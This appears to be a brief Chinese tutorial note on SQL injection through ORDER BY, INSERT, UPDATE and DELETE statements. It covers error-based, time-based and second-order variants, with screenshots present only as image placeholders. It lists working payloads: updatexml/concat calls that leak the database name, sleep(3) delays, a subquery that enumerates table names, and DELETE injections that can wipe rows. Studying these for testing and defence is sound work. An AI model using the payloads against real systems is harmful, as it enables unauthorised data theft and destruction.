SQL注入(从order by、insert、update、delete等方式注入)

order by注入

​ 在不知道列名的情况下可以通过列的的序号来指代相应的列,但是经过测试这里是无法进行运算的,如order=3-1order=2是不一样的。但是支持函数调用,如下图:

image-20231016002830773

  • 报错注入:当order by注入处能返回错误信息时,可以考虑使用报错注入。

image-20231016002656611

  • 延迟注入

image-20231016002741525

Order by可以根据多列排序,因此注入的语句不一定限制在order by的第一个参数,也可以通过逗号去对新的列进行注入。

insert注入

  • 报错注入:or updatexml(1,concat(0x7e,database()),0)

    image-20231016003101391

  • 二次注入

image-20231016003205704

  • 查询当前数据库下的所有表
1
2
3
4
insert into user (username,password) values 
('xiaoming',
(select group_concat(table_name) from information_schema.tables where table_schema=database())
);

image-20231016003341441

除了常规的单行记录插入,还可以尝试多行记录插入;通过第二列数据的插入还能爆出插入的字段数有多少个

update注入

  • 报错注入

image-20231016003541742

  • 延迟注入

    image-20231016003630190

delete注入

1
2
dalete from users where id=2 or updatexml(1,concat(0x7e,database()),0)
dalete from users where id=2 or sleep(3)

谨慎使用,避免误删数据